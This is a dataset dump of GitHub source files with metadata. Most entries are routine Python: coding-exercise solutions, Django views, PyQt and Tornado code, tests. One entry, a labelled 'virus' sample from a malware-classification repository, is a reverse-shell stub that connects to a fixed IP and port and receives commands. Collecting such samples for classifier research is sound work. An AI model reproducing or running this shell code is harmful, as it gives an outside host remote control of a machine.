blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
63a468c89263a85694ff5d9fd7497030e9c36c8f | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03086/s635447121.py | 69381e5f851b26f269a073834279b8745889789b | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 256 | py | S = input()
ans = 0
for i in range(len(S)):
for j in range(i+1, len(S)+1):
for s in S[i:j]:
if s != "A" and s != "C" and s != "G" and s != "T":
break
else:
ans = max(ans, len(S[i:j]))
print(ans)
| [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
2c962adc7c0d5c4c8113291e02a76fbd7a45371f | 033da72a51c76e5510a06be93229a547a538cf28 | /Data Engineer with Python Track/06. Introduction to Shell/Chapter/01. Manipulating files and directories/11-How can I create and delete directories.py | d817ae2f7476b6e3318d7f55084a868512d42277 | [] | no_license | ikhwan1366/Datacamp | d5dcd40c1bfeb04248977014260936b1fb1d3065 | 7738614eaebec446842d89177ae2bc30ab0f2551 | refs/heads/master | 2023-03-06T13:41:06.522721 | 2021-02-17T22:41:54 | 2021-02-17T22:41:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,600 | py | '''
How can I create and delete directories?
mv treats directories the same way it treats files: if you are in your home directory and run mv seasonal by-season, for example, mv changes the name of the seasonal directory to by-season. However, rm works differently.
If you try to rm a directory, the shell prints an e... | [
"surel.chandrapratama@gmail.com"
] | surel.chandrapratama@gmail.com |
9473b0685b38430183521ef16dd64fd047c63074 | d3f4d57ed940492492858906bb529a8c8f27630d | /apps/user/urls.py | 3315b08a39ab63590d356375866b16b1546c4322 | [] | no_license | LevyYuan/Dailyfresh | 25340f9a51044d1599ed19feb9ec45773181d31d | 113d3a06493c2d916cd07b9cc365de4504c37d54 | refs/heads/master | 2020-03-12T13:49:00.507996 | 2018-06-12T09:08:16 | 2018-06-12T09:08:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 755 | py | from django.conf.urls import url
from apps.user.views import RegisterView,ActiveView ,LoginView,LogoutView,UserInfoView,UserOrderView,AddressView
urlpatterns = [
url(r'^register$', RegisterView.as_view(), name='register'), # 注册
url(r'^active/(?P<token>.*)$', ActiveView.as_view(), name='active'), # 用户激活
ur... | [
"xwp_fullstack@163.com"
] | xwp_fullstack@163.com |
0c1fa2b9c47ec47824af063a0a425b364ff635dd | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02791/s605166962.py | 2650574823d857073b35dd70ea734a57d7695a10 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 203 | py | def main():
n = int(input())
p = list(map(int,input().split()))
minp = p[0]
cnt = 0
for i in range(n):
if p[i]<=minp:cnt+=1
minp = min(minp,p[i])
print(cnt)
main() | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
23d40b26ac475946d0314866f577bfcb2a01ccfc | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad380.py | 43326adc240778f578440a8cd965e3c210aa841b | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 397 | py | import crypt
import tarfile
import threading
import zipfile
import hmac
import gzip
import lzma
import subprocess
import bz2
import hashlib
import socket
import zlib
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not comma... | [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
6531f60d2d0e6e130f6e817e729689e9c4804167 | afc8d5a9b1c2dd476ea59a7211b455732806fdfd | /Configurations/monoHWW/SemiLep/Full2017_v7/Wjets/extact_HT_NLO_ratios2.py | 3790cbddfc60e7ccfc37068e3c716fe8d5a5e7ae | [] | no_license | latinos/PlotsConfigurations | 6d88a5ad828dde4a7f45c68765081ed182fcda21 | 02417839021e2112e740607b0fb78e09b58c930f | refs/heads/master | 2023-08-18T20:39:31.954943 | 2023-08-18T09:23:34 | 2023-08-18T09:23:34 | 39,819,875 | 10 | 63 | null | 2023-08-10T14:08:04 | 2015-07-28T07:36:50 | Python | UTF-8 | Python | false | false | 6,506 | py | import ROOT
var = 'genW_pt'
cut = 'NOM'
cut_nuis = 'JET'
LO_samp = 'Wjets_HT'
NLO_samp = 'Wjets_NLOnj'
def error2hist(hist, times=1.):
hist_up = hist.Clone()
hist_do = hist.Clone()
n_bins = hist.GetNbinsX()
for i_bin in range(1, n_bins+1):
err = hist.GetBinError(i_bin)
val = hist.GetB... | [
"senne.vanputte@student.uantwerpen.be"
] | senne.vanputte@student.uantwerpen.be |
64c5325a0156c2dc39c74c95781729d3942e3035 | 6be1990abf99c85ef886b49dcea1824aabb648d3 | /weixinofneolocal/weixinofneolocal/index.wsgi | bd7ef1fccdf0c859ae624ab7d4b048168027ce25 | [] | no_license | neoguojing/cloudServer | b53ae205efe52cf0aea28dbb9e6c16c20caf991f | 7c19101789b0c46474269e4c8fe00e92203e9cd7 | refs/heads/master | 2020-12-04T23:02:23.551479 | 2017-09-22T03:08:35 | 2017-09-22T03:08:35 | 67,382,984 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 243 | wsgi | import sys
import os.path
os.environ['DJANGO_SETTINGS_MODULE'] = 'config.settings'
sys.path.append(os.path.join(os.path.dirname(__file__), 'config'))
import sae
from config import wsgi
application = sae.create_wsgi_app(wsgi.application)
| [
"guojing_neo@163.com"
] | guojing_neo@163.com |
ba0cead1b4324032cea214192dff7b3b11b8a8d7 | ccaabc2f02ea25179ff49762a97bd748db14f511 | /examples/Iteration.py | 1abcbae96537f00fe2d4cf725c44612c5f5365ac | [] | no_license | BrianZhu1/cs373 | 7a7d0d2c4bf26dcced68567a48290acabd5bc613 | 57c5a1ccff322d614f9ba6e5a7bb75b235882bda | refs/heads/master | 2021-01-21T17:03:09.224897 | 2017-03-01T21:28:47 | 2017-03-01T21:28:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,861 | py | #!/usr/bin/env python3
# pylint: disable = bad-whitespace
# pylint: disable = invalid-name
# pylint: disable = missing-docstring
# pylint: disable = redefined-variable-type
# -------------
# Indexables.py
# -------------
print("Iteration.py")
a = [2, 3, 4] # list
assert isinstance(a, list)
asser... | [
"downing@cs.utexas.edu"
] | downing@cs.utexas.edu |
eabcd8b3d6f21c277e1e4bc08f5dc8bdcb46d21c | 8dbda5c61ab6f44e96b9f4813d57aae1e3a62f2c | /src/products/migrations/0003_auto_20180511_0757.py | 5616c76e49b2f00d8b96ef17ce5087396078d3c8 | [] | no_license | Covee/e-commerce | e4c1f87b36e99f39ab32f4df3650c8e5efe1ecbd | 071065a7f66f5820581aa7b3c70ef0fd3fa67e83 | refs/heads/master | 2020-03-15T02:21:51.336929 | 2018-05-30T12:28:34 | 2018-05-30T12:28:34 | 131,915,876 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 603 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2018-05-11 07:57
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('products', '0002_product_image'),
]
operations = [
migrations.AddField(
... | [
"uniqtop91@gmail.com"
] | uniqtop91@gmail.com |
eca5c7bd1344cb28470b13676371ad0bcc53442c | 425b5719ecf6b40bf3de94ddf6e0cc9cf72717b7 | /app/editor/overworld_editor/node_properties.py | 321e69a63e9a14168fdcfabe908f9ba6df8d9b58 | [
"MIT"
] | permissive | zerorock1312/lt-maker-master | 3b9b2e7245215936018601432a98915c40f3937d | 82f733683f9dba763a5de8567c41fd7cbcfb0173 | refs/heads/main | 2023-06-04T10:28:43.931841 | 2021-06-18T06:03:40 | 2021-06-18T06:03:40 | 378,050,560 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,567 | py | from PyQt5.QtWidgets import QVBoxLayout, QLineEdit, \
QWidget, QPushButton, QMessageBox, QLabel, QComboBox, QHBoxLayout, QDialog
from PyQt5.QtCore import Qt, QEvent
from PyQt5.QtGui import QPixmap
from app.data.database import DB
from app.resources.resources import RESOURCES
from app.editor.icons import MapIconBu... | [
"85828552+zerorock1312@users.noreply.github.com"
] | 85828552+zerorock1312@users.noreply.github.com |
88f3545b62a6d19b714f0b687e367fb6e7f2adb0 | 54a5f5ec2c5edf924b7dc7730ee7cb2a38ac4a39 | /DataBase_in_Python_Intro/E09_Filter_data_selected_from_a_Table__Expressions.py | 8ef969b96885a284e02b3f8febc69be4fbd9eaa2 | [] | no_license | dajofischer/Datacamp | fac413ec178375cedceababaf84f6b47a61fc821 | a03d16b8f342412f1ee077f2f196ee8404e2e21c | refs/heads/master | 2020-04-05T08:38:25.361746 | 2019-03-27T20:55:57 | 2019-03-27T20:55:57 | 156,722,561 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 336 | py | # Create a query for the census table: stmt
stmt = select([census])
# Append a where clause to match all the states in_ the list states
stmt = stmt.where(census.columns.state.in_(states))
# Loop over the ResultProxy and print the state and its population in 2000
for x in connection.execute(stmt):
print(x['state']... | [
"dajofischer@gmail.com"
] | dajofischer@gmail.com |
1233ff521f6a688ad2a57d43dbf1f80cebf1c30d | b84b66f071050213a18ea6824fae443271f7d166 | /0211_Add_and_Search_Word_-_Data_structure_design.py | 4d6dd0bb96ebfcc3df600426184adda678c28293 | [] | no_license | oveis/LeetCode | c4c400196de0cae4cd963384c7cb4826aa11e078 | 9ea466f1ebfd976b60dfa2ff2e8b0b2e5c99a9b3 | refs/heads/master | 2021-06-26T04:32:16.373204 | 2021-01-02T08:13:09 | 2021-01-02T08:13:09 | 192,046,829 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,007 | py | class WordDictionary(object):
def __init__(self):
"""
Initialize your data structure here.
"""
self.len_to_words = collections.defaultdict(set)
def addWord(self, word):
"""
Adds a word into the data structure.
:type word: str
:rtype: Non... | [
"jinil@nyu.edu"
] | jinil@nyu.edu |
4e31405570759d9dd5431af53a75eefb056e7c7b | 3c8701e04900389adb40a46daedb5205d479016c | /oldboy-python18/day05-函数-模块与包的使用/self/模块/模块的搜索路径/模块的搜索路径.py | d410f2b0194ab6aabb0bfc73d7a5f5f9dc257055 | [] | no_license | huboa/xuexi | 681300653b834eaf506f49987dcca83df48e8db7 | 91287721f188b5e24fbb4ccd63b60a80ed7b9426 | refs/heads/master | 2020-07-29T16:39:12.770272 | 2018-09-02T05:39:45 | 2018-09-02T05:39:45 | 73,660,825 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 226 | py | ###结论
#内存--》》内置 --》》硬盘中sys.path
import sys
print(sys.path)
print(type(sys.path))
sys.path.append("/Users/ZSC/git/xuexi-mac/linhaifeng/day05-函数-模块与包的使用/模块/aaa")
print(__name__) | [
"wxcr11@gmail.com"
] | wxcr11@gmail.com |
2f3e17b88ab8a0b2109ec1b0849e7269476586c9 | 00ca3a2f7fe4d81a2f997a7432035ce39483625e | /scripts/getOrbits.py | fc91b3079538de0b0b92b2d1559e02b68f1802a4 | [] | no_license | won21kr/MUSE | 162f776f59531e9cdc28a09fee17b5fd6e516b92 | 0c9f67c419f2200facad904b558f254711602a00 | refs/heads/master | 2022-12-16T03:36:16.271913 | 2019-07-14T05:21:34 | 2019-07-14T05:21:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,312 | py | """
This is older version of code fot getting TLE's.
Now SpaceTrack.py should be used
"""
import re, os, json
import urllib
urlPattern = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
CACHE_DIR = "../data/satellites/cache"
#OUTPUT_PATH = "../data/satellites/allSats.json"
OUTPUT_PATH =... | [
"donkimber@gmail.com"
] | donkimber@gmail.com |
47d527f36fbce33aabda891dcfc69e42f1627756 | 5638a2d3a55d5175bc1b2755a2bbf5f1cab2bc04 | /owmeta_sciunit/base.py | fdd3ec65883afe3ddebbf99fba769c1da1144448 | [] | no_license | openworm/owmeta-sciunit | 9a0aed1478018a1fbb715905cb30d456966d72dc | f9a09ff3b36d1f25c125e18d6ac91fc26fb2ffef | refs/heads/master | 2023-04-18T02:41:24.497660 | 2021-04-23T18:39:26 | 2021-04-23T18:39:26 | 297,193,916 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,942 | py | import logging
from owmeta_core.dataobject import (DataObject, PythonClassDescription, PythonModule)
import owmeta_core.dataobject_property as DOP
from . import SU_CONTEXT, BASE_DATA_NS, BASE_SCHEMA_NS
L = logging.getLogger(__name__)
class SciUnitNS:
'''
Namespacing for SciUnit DataObjects
'''
ba... | [
"watts.mark2015@gmail.com"
] | watts.mark2015@gmail.com |
274e71e77b9f3f2a808a0fd11857f87a7ade0838 | 3939657914e8831774a46501369cea62136b2fa3 | /examples/tornado/4_3-base/main.py | 97c3e11cd800d4ced163e173a74618d1acf2df86 | [] | no_license | tjpuis/isd | 08f06fd2dafa8372aada76499b771abfb9e33d46 | 0fd0911cd2e4725bc1e0e97aa8498a90c7b8e21a | refs/heads/master | 2016-09-06T16:04:52.312208 | 2015-05-10T23:55:48 | 2015-05-10T23:55:48 | 7,792,118 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 465 | py | # -*- coding: utf-8 -*-
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
items = ["路人甲", "路人乙", "路人丙"]
self.render("list.html", title="这是标题", items=items)
handlers = [
(r"/", MainHandler),
]
application = tornado.web.Application(handlers, ... | [
"lcgong@gmail.com"
] | lcgong@gmail.com |
9002e1716656362a51dafed091a7987ef00edcd1 | 0239ac3c7a8ee7542fede4d3283e8593c67a4d6b | /base/Func/func_visable.py | 72d78c5c199987def051398f404063ab6e49af08 | [] | no_license | erfaenda/learningPy | 4fcf6e9eaa09493fdcfb68120d97b752186b4577 | da980f44127d458b9d071b077f8dc9c1ef16d959 | refs/heads/master | 2021-01-15T09:19:29.778028 | 2017-08-23T11:59:49 | 2017-08-23T11:59:49 | 99,574,069 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 194 | py | def space_ship(cans):
total_cans = 0
for week in range(1,52):
total_cans = total_cans + cans
print('Неделя %s, банок: %s' % (week, total_cans))
space_ship(2)
| [
"regalko7@gmail.com"
] | regalko7@gmail.com |
4ea8c516bb357ed2635f1865be2b6d8326bf8fc0 | 3fb6bb31f4d7f7d04db64c68258e804b23c243b9 | /demo.py | dbe087717be71f34b1784aa9bd69069020d5813d | [
"Apache-2.0"
] | permissive | tedrepo/Write-a-Python-in-Python | cb1d47bf7f79b48ad7e0a5df4a618f3e0284553a | 60f3647d540fdbe59ebb42ed48bf2ed1afd7704a | refs/heads/main | 2023-02-17T13:18:37.396593 | 2021-01-19T07:08:16 | 2021-01-19T07:08:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 312 | py | def myadd(a, b):
return a + b
def mysub(c, d):
return c + d
myadd(1, 3) + mysub(2, 4)
def manda(m, a):
def sky(s):
return s + 4
def sea(s):
return s * 2
return m + a - sea(m) * sky(a)
x = 4
y = 2
manda(myadd(x, y), mysub(y, x))
def ret_null():
x = 0
ret_null() | [
"mory2016@126.com"
] | mory2016@126.com |
634e15ddc77a31e10291f0d4e71afc11b726dfd8 | b5ce6908490cfb8e6a1e1cbe4745d675122ddce0 | /questions/open-the-lock/Solution.py | a1c9f773649026505700e08a0d1d1bcdbdb51721 | [
"MIT"
] | permissive | franklingu/leetcode-solutions | 8895910f13208e1d8e604100d84c2dd35684cde4 | 7ad7e5c1c040510b7b7bd225ed4297054464dbc6 | refs/heads/master | 2023-01-09T01:34:08.097518 | 2023-01-02T02:05:35 | 2023-01-02T02:05:35 | 43,345,677 | 155 | 66 | MIT | 2020-10-02T03:41:36 | 2015-09-29T04:54:38 | Python | UTF-8 | Python | false | false | 2,788 | py | """
You have a lock in front of you with 4 circular wheels. Each wheel has 10 slots: '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'. The wheels can rotate freely and wrap around: for example we can turn '9' to be '0', or '0' to be '9'. Each move consists of turning one wheel one slot.
The lock initially starts at '0... | [
"franklingujunchao@gmail.com"
] | franklingujunchao@gmail.com |
9a2c05836873bf1dc59aabfd45e691d67691368a | d554b1aa8b70fddf81da8988b4aaa43788fede88 | /5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/226/users/4424/codes/1723_2499.py | ae616a12be1955e88ed66b002aef19e099c30e48 | [] | no_license | JosephLevinthal/Research-projects | a3bc3ca3b09faad16f5cce5949a2279cf14742ba | 60d5fd6eb864a5181f4321e7a992812f3c2139f9 | refs/heads/master | 2022-07-31T06:43:02.686109 | 2020-05-23T00:24:26 | 2020-05-23T00:24:26 | 266,199,309 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 136 | py | from math import*
k = int(input("escreva: "))
soma=0
i=0
fim=k-1
while(i<=fim):
soma=soma+1/factorial(i)
i=i+1
print(round(soma, 8)) | [
"jvlo@icomp.ufam.edu.br"
] | jvlo@icomp.ufam.edu.br |
182c97dc6d982982602ce3737ca3ecd6b40a2a46 | 8fd961b0ea0a6278dff950d6d935a8a734197b17 | /contentcuration/contentcuration/middleware/db_readonly.py | a8f24a3289b73e8fff58ae762bbc5137c7c81047 | [
"MIT"
] | permissive | fluckydog232/studio | 0c08e24a69d66d49c10c81dc1a4641e02198aa7d | f4a131857bcbb20f22823ba9fb6e01cf5d6c2ffc | refs/heads/master | 2020-03-30T03:35:51.028501 | 2018-09-27T22:30:20 | 2018-09-27T22:30:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 792 | py | from django.conf import settings
from django.http import HttpResponseBadRequest
from django.utils.translation import ugettext as _
try:
# Django 1.10+
from django.utils.deprecation import MiddlewareMixin
except ImportError:
# Before Django 1.9 and below
class MiddlewareMixin(object):
pass
from... | [
"jordanyoshihara@gmail.com"
] | jordanyoshihara@gmail.com |
d9a12d9ca46d59dda7d69e7a49d5ba78a83a7d63 | a6e4a6f0a73d24a6ba957277899adbd9b84bd594 | /sdk/python/pulumi_azure_native/certificateregistration/v20201001/get_app_service_certificate_order_certificate.py | 779d363c2c7f070b7ca4323420b2b38d03d5c56d | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | MisinformedDNA/pulumi-azure-native | 9cbd75306e9c8f92abc25be3f73c113cb93865e9 | de974fd984f7e98649951dbe80b4fc0603d03356 | refs/heads/master | 2023-03-24T22:02:03.842935 | 2021-03-08T21:16:19 | 2021-03-08T21:16:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,873 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from... | [
"noreply@github.com"
] | MisinformedDNA.noreply@github.com |
c519b7e48ee4866939969cac26cff087e033c8df | ac64fda7f1bfc92f7897efd60b8f3f0aeb22b4d7 | /syntactic_mutations/udacity/mutants/mutant3.py | e5f9e5c9a557362daf262fc019e1e174f2362a21 | [] | no_license | dlfaults/mutation_operators_evaluation | ea7f33459ba7bcf7d70092d9db8b40f9b338d516 | 7d1ff30e901931a46bf8908e9bb05cae3daa5f0f | refs/heads/master | 2020-12-27T15:45:07.262012 | 2020-02-03T12:22:01 | 2020-02-03T12:22:01 | 237,955,342 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,758 | py | from sklearn.model_selection import train_test_split
from keras.models import Sequential
from keras.optimizers import Adam
from keras.callbacks import ModelCheckpoint
from keras.layers import Lambda, Conv2D, MaxPooling2D, Dropout, Dense, Flatten
from batch_generator import Generator
from utils import INPUT_SHAPE, batc... | [
"gunel71@gmail.com"
] | gunel71@gmail.com |
6a21b74fc8ea5bcd1f60927d1327afa0851d0da6 | 9f1039075cc611198a988034429afed6ec6d7408 | /tensorflow-stubs/_api/v1/resource_loader/__init__.pyi | 492c02e57703c211df847909681a43d1020a9d9a | [] | no_license | matangover/tensorflow-stubs | 9422fbb1cb3a3638958d621461291c315f9c6ec2 | 664bd995ef24f05ba2b3867d979d23ee845cb652 | refs/heads/master | 2020-05-23T12:03:40.996675 | 2019-05-15T06:21:43 | 2019-05-15T06:21:43 | 186,748,093 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 425 | pyi | # Stubs for tensorflow._api.v1.resource_loader (Python 3)
#
# NOTE: This dynamically typed stub was automatically generated by stubgen.
from tensorflow.python.platform.resource_loader import get_data_files_path as get_data_files_path, get_path_to_datafile as get_path_to_datafile, get_root_dir_with_all_resources as get... | [
"matangover@gmail.com"
] | matangover@gmail.com |
4414defad30a3955f36e29fb2541c22cdeb9be50 | b02114afe93dc7a9f3a9e2f3a889e5568e6d0284 | /cyber/python/cyber_py3/test/test_record.py | d622e390b2cf85a00520b0600467fdbaa761979d | [
"Apache-2.0"
] | permissive | apollodevcommunity/apollo | 40c4d3440037e8728084fb90bdc479c172bff46a | bac6d04c2b5edb553f451f19beb644a50ec14379 | refs/heads/master | 2020-09-13T07:56:59.087024 | 2020-04-15T09:24:21 | 2020-04-15T09:24:21 | 222,693,874 | 4 | 57 | Apache-2.0 | 2020-04-15T09:24:22 | 2019-11-19T12:43:32 | C++ | UTF-8 | Python | false | false | 2,896 | py | #!/usr/bin/env python3
# ****************************************************************************
# Copyright 2019 The Apollo Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy... | [
"xiaoxiangquan@gmail.com"
] | xiaoxiangquan@gmail.com |
a64b7b116faf4d9ad145bc7557aacf3d633ced0b | 50afc0db7ccfc6c80e1d3877fc61fb67a2ba6eb7 | /challenge10(timer)/solutions/Jonxslays.py | 8f244b0f8ded78bbadbfd54b945ba9ec8f926ef5 | [
"MIT"
] | permissive | banana-galaxy/challenges | 792caa05e7b8aa10aad8e04369fc06aaf05ff398 | 8655c14828607535a677e2bb18689681ee6312fa | refs/heads/master | 2022-12-26T23:58:12.660152 | 2020-10-06T13:38:04 | 2020-10-06T13:38:04 | 268,851,516 | 11 | 8 | MIT | 2020-09-22T21:21:30 | 2020-06-02T16:24:41 | Python | UTF-8 | Python | false | false | 341 | py | def lateRide(n):
output = 0
mins = n % 60
hrs = int((n / 60) - ((n % 60) / 60))
if hrs < 10:
output += hrs
else:
for digit in str(hrs):
output += int(digit)
if mins < 10:
output += mins
else:
for digit in str(mins):
output += int(digi... | [
"cawasp@gmail.com"
] | cawasp@gmail.com |
d84d019a6ec07d183b48b432ae4e861cbec4d28a | 4bd4bacecee33cada173e427b5ecb1d758bafaad | /src/scalarizr/libs/validate.py | 9f89c7059179468f64f27d549e8c7e68f16e8c55 | [] | no_license | kenorb-contrib/scalarizr | 3f2492b20910c42f6ab38749545fdbb79969473f | 3cc8b64d5a1b39c4cf36f5057f1a6a84a9a74c83 | refs/heads/master | 2022-11-26T10:00:58.706301 | 2017-11-02T16:41:34 | 2017-11-02T16:41:34 | 108,550,233 | 0 | 2 | null | 2020-07-24T11:05:36 | 2017-10-27T13:33:46 | Python | UTF-8 | Python | false | false | 6,106 | py | from __future__ import with_statement
'''
Simple validation decorators
@author: marat
Sample usage:
>> @validate.param('port', type=int)
>> @validate.param('ipaddr', type='ipv4')
>> @validate.param('backend', re=r'^role:\d+$')
>> def foo(port=None, ipaddr=None, backend=None):
... pass
>>
IMPORTANT!
The current li... | [
"kenorb@users.noreply.github.com"
] | kenorb@users.noreply.github.com |
6e3e012047129cd6506534b281c693e32bef990e | f504253210cec1c4ec6c3ea50a45564db7d6cd7f | /scripts/module_stats.py | 855e4accab521f6d929082e1d7fc0154c25b15da | [
"MIT"
] | permissive | phil65/PrettyQt | b1150cb4dce982b9b8d62f38f56694959b720a3e | f00500d992d1befb0f2c2ae62fd2a8aafba7fd45 | refs/heads/master | 2023-08-30T21:00:08.905444 | 2023-08-17T12:24:45 | 2023-08-17T12:24:45 | 177,451,205 | 17 | 5 | MIT | 2020-08-15T22:21:18 | 2019-03-24T18:10:21 | Python | UTF-8 | Python | false | false | 1,776 | py | from __future__ import annotations
import importlib
import pkgutil
import types
import PyQt6
import PySide6
import prettyqt
from prettyqt import core, gui, widgets
from prettyqt.qt import QtCore, QtGui, QtWidgets
OBSELETE = ["QPictureIO", "QDesktopWidget", "QDirModel"]
mapper = {gui: QtGui, widgets: QtWidgets, c... | [
"philipptemminghoff@googlemail.com"
] | philipptemminghoff@googlemail.com |
6f1918fbf6affd4d625b30708576bad181a26668 | dcfcd43b4c00fe897866a1e1d530b0f50ed56116 | /logintest/MY3.py | 474c1b8c0ca1b279a74f17713aa2c930d5b146f0 | [] | no_license | Jeremyljm/new | 8a93f4422b26272fe4a2b68bf806c40879db2d51 | 8a34245c10923a09b9e1cb178ba7fb5368b01f53 | refs/heads/master | 2020-09-22T18:06:57.789590 | 2019-12-02T05:41:10 | 2019-12-02T05:41:10 | 225,294,099 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 933 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import mysql.connector
import MY2
# change root password to yours:
conn = mysql.connector.connect(host='172.30.34.210', user='root', password='root', database='lijieming')
cursor = conn.cursor()
# 创建user表:
id_str = input("请输入id")
name_str = input("请输入姓名")
phone_str = in... | [
"178747324@qq.com"
] | 178747324@qq.com |
35e381fd3f3298a2f636e91672ee1421db0fcc96 | b910f665e3b09d2880c3312b1622ea78ddcfa02e | /movies/views.py | 64566774feaf961bfe612f2896100e07ff950fcb | [] | no_license | banggeut01/project08 | d38e1a7b3763c3c15a2ed565d9e42fd0bb021226 | 6558f78c28ba0b33e30cd01d95e12bef07f23c0f | refs/heads/master | 2022-04-29T19:14:05.686441 | 2019-11-01T05:22:25 | 2019-11-01T05:22:25 | 218,917,489 | 0 | 0 | null | 2022-04-22T22:37:44 | 2019-11-01T05:14:26 | Python | UTF-8 | Python | false | false | 1,840 | py | from django.shortcuts import render, get_object_or_404
from rest_framework.response import Response
from rest_framework.decorators import api_view
from . models import Genre, Movie, Review
from .serializers import GenreSerializers, MovieSerializers, GenreDetailSerializers, ReviewSerializers
# Create your views here.
@... | [
"genie121110@gmail.com"
] | genie121110@gmail.com |
e6d59ded98b86299a1af1b94e41e6a4eabca38bc | d6525d326e133b4492071d89d4066615489d08c5 | /other_algorithms/choise_sort.py | e6ed1a627a011e9bbb03f7309bf1bd9275db0fd8 | [] | no_license | iAnafem/Stepic_Algorithms.Theory_and_practise | 85e03842925ea2649c198e6dd20c79636d64c79d | 1c9bc87f662bd98448891dff299035f57f218ac4 | refs/heads/master | 2020-04-07T12:46:58.252891 | 2019-02-05T12:30:14 | 2019-02-05T12:30:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 206 | py | A = [1, 4, 5, 6, -4, 3, 3, 4, -45, 5, 6, 7, -8, 6, 5, 4, -4]
N = len(A)
for pos in range(0, N-1):
for k in range(pos+1, N):
if A[k] < A[pos]:
A[k], A[pos] = A[pos], A[k]
print(A)
| [
"DPronkin@mostro.ru"
] | DPronkin@mostro.ru |
4c367dad123405537d6b4a60c95a0cff9cb90766 | ddb954c7f0bc6d5a7cf914bc91fb63b522c600cc | /tests/test_geospatial.py | 9c1d09577f3ad979bd2303666092d994e67b1d27 | [
"MIT"
